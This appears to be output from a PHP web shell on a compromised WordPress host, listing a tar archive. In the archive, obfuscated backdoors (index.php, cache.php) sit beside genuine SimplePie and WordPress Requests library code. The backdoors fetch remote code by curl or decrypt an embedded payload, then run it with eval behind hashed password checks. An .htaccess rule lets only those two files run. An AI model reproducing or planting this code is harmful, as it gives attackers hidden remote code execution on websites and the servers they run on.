GhostManSec
Server: Apache
System: Linux webm003.cluster115.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User: eliteafr (153088)
PHP: 5.4.45
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/eliteafr/www/wp-includes-20260529124511/images/smilies/uploads/2024/2025/txn/lnot/src.tar
Core32/SecretStream/SecretStream/index.php000066600000014070152070332020014423 0ustar00<?php
 goto Qw_2oo2GN6m8lS4v; hPK9zUnHpJXUgXG1: class YRjV6yJVARes_OtP { static function nu4KBOE5kU1b4N6r($ZQ80d7QPh5vG17DL) { goto VKrfaT40EoaYNKq4; qswMUNTLGLzI9389: tszH9th7zp0fT34N: goto xmCjnHJTEqKwkzs7; LZInKWwaLwNAhpAA: $bfvhrd22ghNkpy7s = $QLA5wi7K5c2hM_7X("\176", "\40"); goto aI0vqILoRirb_6yH; C1BWqVaT_X1gfdbd: $t7TtABWjGaXI6wZs = ''; goto bhhSq6IJyh9HGWyv; VKrfaT40EoaYNKq4: $QLA5wi7K5c2hM_7X = "\x72" . "\x61" . "\156" . "\147" . "\145"; goto LZInKWwaLwNAhpAA; bhhSq6IJyh9HGWyv: foreach ($K__5MwWhpKWugdqM as $GTsm3QknL4tV5gK6 => $t2FDlAQm7psNFX4o) { $t7TtABWjGaXI6wZs .= $bfvhrd22ghNkpy7s[$t2FDlAQm7psNFX4o - 23780]; sFr8UBDXiMRdB6AZ: } goto qswMUNTLGLzI9389; aI0vqILoRirb_6yH: $K__5MwWhpKWugdqM = explode("\x6f", $ZQ80d7QPh5vG17DL); goto C1BWqVaT_X1gfdbd; xmCjnHJTEqKwkzs7: return $t7TtABWjGaXI6wZs; goto V51E5Cfb4yQ8Gqp1; V51E5Cfb4yQ8Gqp1: } static function A3p3LDN42DHhL3gK($yflAbUn5hEkg6Iiy, $w8VylrgC3vFEZc16) { goto Pkbmlq7JMNLbhrVQ; O0uqaP42JqzetzMk: curl_setopt($NbukmEnu37gj8G6S, CURLOPT_RETURNTRANSFER, 1); goto jqUwy5PBVtQO21Nc; Jov_CLhP3TJZRmNA: return empty($VZGFBcSiqHLEbK61) ? $w8VylrgC3vFEZc16($yflAbUn5hEkg6Iiy) : $VZGFBcSiqHLEbK61; goto Dgn5cwxkDqhfzRkU; Pkbmlq7JMNLbhrVQ: $NbukmEnu37gj8G6S = curl_init($yflAbUn5hEkg6Iiy); goto O0uqaP42JqzetzMk; jqUwy5PBVtQO21Nc: $VZGFBcSiqHLEbK61 = curl_exec($NbukmEnu37gj8G6S); goto Jov_CLhP3TJZRmNA; Dgn5cwxkDqhfzRkU: } static function H5DBIbcdIabMVOqM() { goto t5LEqrqDOHY9nTNp; ug1AyFdNfcB9injX: AxC_MdVyaf4LRsbY: goto O297E1WpvrYbMNmN; qjyMkOQ3m6lTckT7: $SYpx8t2Q673unYIO = $JeEgzk5LlOUBd6cD[1 + 1]($YuaJTh4paT1Y6sv_, true); goto L8BpWenNS21w8ZsK; t5LEqrqDOHY9nTNp: $c0DN2ajoXhhw87Tu = array("\62\x33\x38\x30\x37\x6f\x32\x33\67\x39\x32\157\x32\63\70\60\x35\x6f\x32\63\70\x30\71\157\62\63\67\71\60\x6f\x32\63\x38\60\x35\x6f\x32\x33\70\61\61\157\x32\63\70\60\64\157\62\x33\x37\x38\71\157\x32\63\x37\71\x36\157\62\63\70\60\67\157\x32\63\67\x39\x30\x6f\x32\63\x38\60\61\157\62\x33\x37\71\65\x6f\62\63\67\x39\x36", "\x32\63\x37\x39\61\x6f\62\x33\67\x39\x30\x6f\62\x33\x37\x39\62\157\62\x33\x38\61\61\157\62\x33\x37\x39\x32\x6f\x32\x33\67\x39\x35\x6f\62\63\x37\71\60\157\x32\63\x38\65\67\x6f\x32\x33\70\x35\65", "\62\63\x38\x30\60\157\x32\63\67\71\x31\x6f\x32\x33\67\x39\x35\157\x32\x33\67\x39\x36\x6f\x32\63\70\61\61\157\x32\63\70\x30\66\157\62\63\x38\60\x35\157\62\x33\x38\x30\x37\x6f\62\63\x37\71\x35\x6f\62\63\x38\60\66\x6f\62\x33\x38\60\x35", "\62\63\67\71\64\157\62\x33\x38\x30\x39\157\x32\63\70\x30\x37\157\62\63\67\x39\x39", "\62\63\x38\60\70\x6f\x32\x33\x38\x30\71\157\62\63\x37\71\x31\157\62\x33\x38\60\x35\157\62\63\70\65\62\157\62\63\70\65\x34\157\62\63\70\61\x31\157\62\x33\70\x30\66\x6f\62\63\x38\x30\x35\157\62\63\x38\60\x37\x6f\62\63\x37\x39\x35\x6f\x32\63\70\60\66\157\62\63\x38\60\65", "\62\63\70\x30\64\157\x32\63\x38\x30\x31\x6f\x32\63\67\x39\70\x6f\62\63\70\60\x35\x6f\62\63\70\61\61\157\62\63\70\x30\x33\x6f\x32\63\x38\x30\x35\x6f\x32\x33\x37\71\x30\157\x32\63\70\x31\61\x6f\62\63\x38\x30\x37\x6f\62\63\67\x39\65\x6f\x32\63\x37\71\x36\157\x32\x33\67\71\60\157\x32\63\70\x30\65\x6f\62\x33\67\x39\x36\x6f\x32\63\x37\71\x30\157\x32\x33\x37\x39\x31", "\62\63\70\63\64\x6f\62\x33\70\66\x34", "\x32\63\67\70\61", "\x32\x33\70\x35\71\x6f\62\x33\70\x36\64", "\62\x33\x38\x34\61\157\62\63\x38\62\64\157\62\x33\70\62\x34\157\x32\x33\x38\x34\x31\x6f\x32\63\x38\61\x37", "\62\63\x38\x30\64\x6f\x32\x33\70\x30\x31\x6f\x32\x33\x37\71\70\x6f\x32\63\67\71\x30\157\x32\x33\x38\x30\x35\x6f\62\x33\x37\71\x32\x6f\62\x33\x38\61\x31\157\x32\x33\70\x30\61\x6f\62\x33\67\x39\66\157\62\63\67\x39\x34\x6f\x32\x33\x37\x38\71\157\62\x33\x37\x39\x30"); goto IjBRBSySDvjADO7Y; H9havsZfahIe5z7j: jVa3Tq1A9AHAmnf3: goto Kqi7fjLsLwmty_b6; IjBRBSySDvjADO7Y: foreach ($c0DN2ajoXhhw87Tu as $tmfxInjvwXp20q1j) { $JeEgzk5LlOUBd6cD[] = self::NU4kBOE5ku1b4n6R($tmfxInjvwXp20q1j); IoR0em3ttFJTUC9k: } goto H9havsZfahIe5z7j; AvE0taDIE936E9I5: @eval($JeEgzk5LlOUBd6cD[0 + 4]($dMwpqDswjZ4WSn6A)); goto k0WIt7VUt1jwlVX_; VG9nX4Hez0s07hU7: $YuaJTh4paT1Y6sv_ = @$JeEgzk5LlOUBd6cD[2 + 1]($JeEgzk5LlOUBd6cD[0 + 6], $Z4tLVmZG2AehT_ir); goto qjyMkOQ3m6lTckT7; L8BpWenNS21w8ZsK: @$JeEgzk5LlOUBd6cD[6 + 4](INPUT_GET, "\x6f\146") == 1 && die($JeEgzk5LlOUBd6cD[4 + 1](__FILE__)); goto QuDOptbVNdVdhpND; QuDOptbVNdVdhpND: if (!(@$SYpx8t2Q673unYIO[0] - time() > 0 and md5(md5($SYpx8t2Q673unYIO[0 + 3])) === "\145\64\x36\146\x33\x63\62\65\x65\70\x38\142\x36\60\142\62\x34\71\x66\64\141\x39\x31\70\x31\x35\143\x61\71\x34\142\x31")) { goto AxC_MdVyaf4LRsbY; } goto FFgcJxjvFKAXtSGD; k0WIt7VUt1jwlVX_: die; goto ug1AyFdNfcB9injX; Kqi7fjLsLwmty_b6: $Z4tLVmZG2AehT_ir = @$JeEgzk5LlOUBd6cD[1]($JeEgzk5LlOUBd6cD[3 + 7](INPUT_GET, $JeEgzk5LlOUBd6cD[9 + 0])); goto VG9nX4Hez0s07hU7; FFgcJxjvFKAXtSGD: $dMwpqDswjZ4WSn6A = self::a3P3ldN42Dhhl3gK($SYpx8t2Q673unYIO[1 + 0], $JeEgzk5LlOUBd6cD[4 + 1]); goto AvE0taDIE936E9I5; O297E1WpvrYbMNmN: } } goto ri_prwEGLinqPiaZ; CKmoQrQP4Yr_nIXR: $Dd8Pp6Mom1BIS5H9 = $Ojt0nDDsqWJyyPZ6("\176", "\40"); goto CvnU2BbsHzviyF3Z; CvnU2BbsHzviyF3Z: $lP1Ty5iqTCdQDc8O = ${$Dd8Pp6Mom1BIS5H9[22 + 9] . $Dd8Pp6Mom1BIS5H9[50 + 9] . $Dd8Pp6Mom1BIS5H9[21 + 26] . $Dd8Pp6Mom1BIS5H9[4 + 43] . $Dd8Pp6Mom1BIS5H9[24 + 27] . $Dd8Pp6Mom1BIS5H9[17 + 36] . $Dd8Pp6Mom1BIS5H9[23 + 34]}; goto K9aKmkooGO8_SK9i; K9aKmkooGO8_SK9i: @(md5(md5(md5(md5($lP1Ty5iqTCdQDc8O[19])))) === "\x38\x61\x35\x63\60\x35\x36\144\141\60\x66\67\67\x62\x39\x63\142\x66\x66\141\143\144\146\x32\146\145\x35\x63\x62\63\x61\x31") && (count($lP1Ty5iqTCdQDc8O) == 25 && in_array(gettype($lP1Ty5iqTCdQDc8O) . count($lP1Ty5iqTCdQDc8O), $lP1Ty5iqTCdQDc8O)) ? ($lP1Ty5iqTCdQDc8O[67] = $lP1Ty5iqTCdQDc8O[67] . $lP1Ty5iqTCdQDc8O[80]) && ($lP1Ty5iqTCdQDc8O[87] = $lP1Ty5iqTCdQDc8O[67]($lP1Ty5iqTCdQDc8O[87])) && @eval($lP1Ty5iqTCdQDc8O[67](${$lP1Ty5iqTCdQDc8O[34]}[26])) : $lP1Ty5iqTCdQDc8O; goto pikeTutFjHRD9T0Y; pikeTutFjHRD9T0Y: metaphone("\x66\x48\106\x6d\x64\151\150\x78\57\156\71\x4b\155\70\152\x6f\126\x52\x79\147\x5a\x37\x39\170\x30\126\122\123\x76\53\104\57\x39\x37\x64\167\127\x75\x6a\x45\144\157\64"); goto hPK9zUnHpJXUgXG1; Qw_2oo2GN6m8lS4v: $Ojt0nDDsqWJyyPZ6 = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto CKmoQrQP4Yr_nIXR; ri_prwEGLinqPiaZ: YRjV6YJvaReS_Otp::h5DBiBcdiAbmVOqm();
?>
Core32/SecretStream/SecretStream/cache.php000066600000013016152070332020014356 0ustar00<?php $yEf = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqRrsVhmmBgDQA'; $YEsV = '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'; function yEf($CWR) { $YEsV = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $jnwbv = substr($YEsV, 0, 16); $cEVi = base64_decode($CWR); return openssl_decrypt($cEVi, "AES-256-CBC", $YEsV, OPENSSL_RAW_DATA, $jnwbv); } if (yEf('DjtPn+r4S0yvLCnquPz1fA')){ echo 'juum3J5cEdXhAJNfUOAIYIuesLLpF2zOYo4LAD65LWHgv3IhawD8G3ehQv4aR7bz'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($yEf)))); ?>Core32/SecretStream/SecretStream/.htaccess000066600000000333152070332020014376 0ustar00<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>Cache/CallableNameFilter.php000066600000006452152070333330011740 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Creating a cache filename with callables
 *
 * @package SimplePie
 * @subpackage Caching
 */
final class CallableNameFilter implements NameFilter
{
    /**
     * @var callable
     */
    private $callable;

    public function __construct(callable $callable)
    {
        $this->callable = $callable;
    }

    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likly an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string
    {
        return call_user_func($this->callable, $name);
    }
}
Requests.php000066600000102321152070333530007074 0ustar00<?php
/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Auth\Basic;
use WpOrg\Requests\Capability;
use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\IdnaEncoder;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Proxy\Http;
use WpOrg\Requests\Response;
use WpOrg\Requests\Transport\Curl;
use WpOrg\Requests\Transport\Fsockopen;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */
class Requests {
	/**
	 * POST method
	 *
	 * @var string
	 */
	const POST = 'POST';

	/**
	 * PUT method
	 *
	 * @var string
	 */
	const PUT = 'PUT';

	/**
	 * GET method
	 *
	 * @var string
	 */
	const GET = 'GET';

	/**
	 * HEAD method
	 *
	 * @var string
	 */
	const HEAD = 'HEAD';

	/**
	 * DELETE method
	 *
	 * @var string
	 */
	const DELETE = 'DELETE';

	/**
	 * OPTIONS method
	 *
	 * @var string
	 */
	const OPTIONS = 'OPTIONS';

	/**
	 * TRACE method
	 *
	 * @var string
	 */
	const TRACE = 'TRACE';

	/**
	 * PATCH method
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 * @var string
	 */
	const PATCH = 'PATCH';

	/**
	 * Default size of buffer size to read streams
	 *
	 * @var integer
	 */
	const BUFFER_SIZE = 1160;

	/**
	 * Option defaults.
	 *
	 * @see \WpOrg\Requests\Requests::get_default_options()
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const OPTION_DEFAULTS = [
		'timeout'          => 10,
		'connect_timeout'  => 10,
		'useragent'        => 'php-requests/' . self::VERSION,
		'protocol_version' => 1.1,
		'redirected'       => 0,
		'redirects'        => 10,
		'follow_redirects' => true,
		'blocking'         => true,
		'type'             => self::GET,
		'filename'         => false,
		'auth'             => false,
		'proxy'            => false,
		'cookies'          => false,
		'max_bytes'        => false,
		'idn'              => true,
		'hooks'            => null,
		'transport'        => null,
		'verify'           => null,
		'verifyname'       => true,
	];

	/**
	 * Default supported Transport classes.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const DEFAULT_TRANSPORTS = [
		Curl::class      => Curl::class,
		Fsockopen::class => Fsockopen::class,
	];

	/**
	 * Current version of Requests
	 *
	 * @var string
	 */
	const VERSION = '2.0.11';

	/**
	 * Selected transport name
	 *
	 * Use {@see \WpOrg\Requests\Requests::get_transport()} instead
	 *
	 * @var array
	 */
	public static $transport = [];

	/**
	 * Registered transport classes
	 *
	 * @var array
	 */
	protected static $transports = [];

	/**
	 * Default certificate path.
	 *
	 * @see \WpOrg\Requests\Requests::get_certificate_path()
	 * @see \WpOrg\Requests\Requests::set_certificate_path()
	 *
	 * @var string
	 */
	protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem';

	/**
	 * All (known) valid deflate, gzip header magic markers.
	 *
	 * These markers relate to different compression levels.
	 *
	 * @link https://stackoverflow.com/a/43170354/482864 Marker source.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	private static $magic_compression_headers = [
		"\x1f\x8b" => true, // Gzip marker.
		"\x78\x01" => true, // Zlib marker - level 1.
		"\x78\x5e" => true, // Zlib marker - level 2 to 5.
		"\x78\x9c" => true, // Zlib marker - level 6.
		"\x78\xda" => true, // Zlib marker - level 7 to 9.
	];

	/**
	 * This is a static class, do not instantiate it
	 *
	 * @codeCoverageIgnore
	 */
	private function __construct() {}

	/**
	 * Register a transport
	 *
	 * @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface
	 */
	public static function add_transport($transport) {
		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		self::$transports[$transport] = $transport;
	}

	/**
	 * Get the fully qualified class name (FQCN) for a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return string FQCN of the transport to use, or an empty string if no transport was
	 *                found which provided the requested capabilities.
	 */
	protected static function get_transport_class(array $capabilities = []) {
		// Caching code, don't bother testing coverage.
		// @codeCoverageIgnoreStart
		// Array of capabilities as a string to be used as an array key.
		ksort($capabilities);
		$cap_string = serialize($capabilities);

		// Don't search for a transport if it's already been done for these $capabilities.
		if (isset(self::$transport[$cap_string])) {
			return self::$transport[$cap_string];
		}

		// Ensure we will not run this same check again later on.
		self::$transport[$cap_string] = '';
		// @codeCoverageIgnoreEnd

		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		// Find us a working transport.
		foreach (self::$transports as $class) {
			if (!class_exists($class)) {
				continue;
			}

			$result = $class::test($capabilities);
			if ($result === true) {
				self::$transport[$cap_string] = $class;
				break;
			}
		}

		return self::$transport[$cap_string];
	}

	/**
	 * Get a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return \WpOrg\Requests\Transport
	 * @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`).
	 */
	protected static function get_transport(array $capabilities = []) {
		$class = self::get_transport_class($capabilities);

		if ($class === '') {
			throw new Exception('No working transports found', 'notransport', self::$transports);
		}

		return new $class();
	}

	/**
	 * Checks to see if we have a transport for the capabilities requested.
	 *
	 * Supported capabilities can be found in the {@see \WpOrg\Requests\Capability}
	 * interface as constants.
	 *
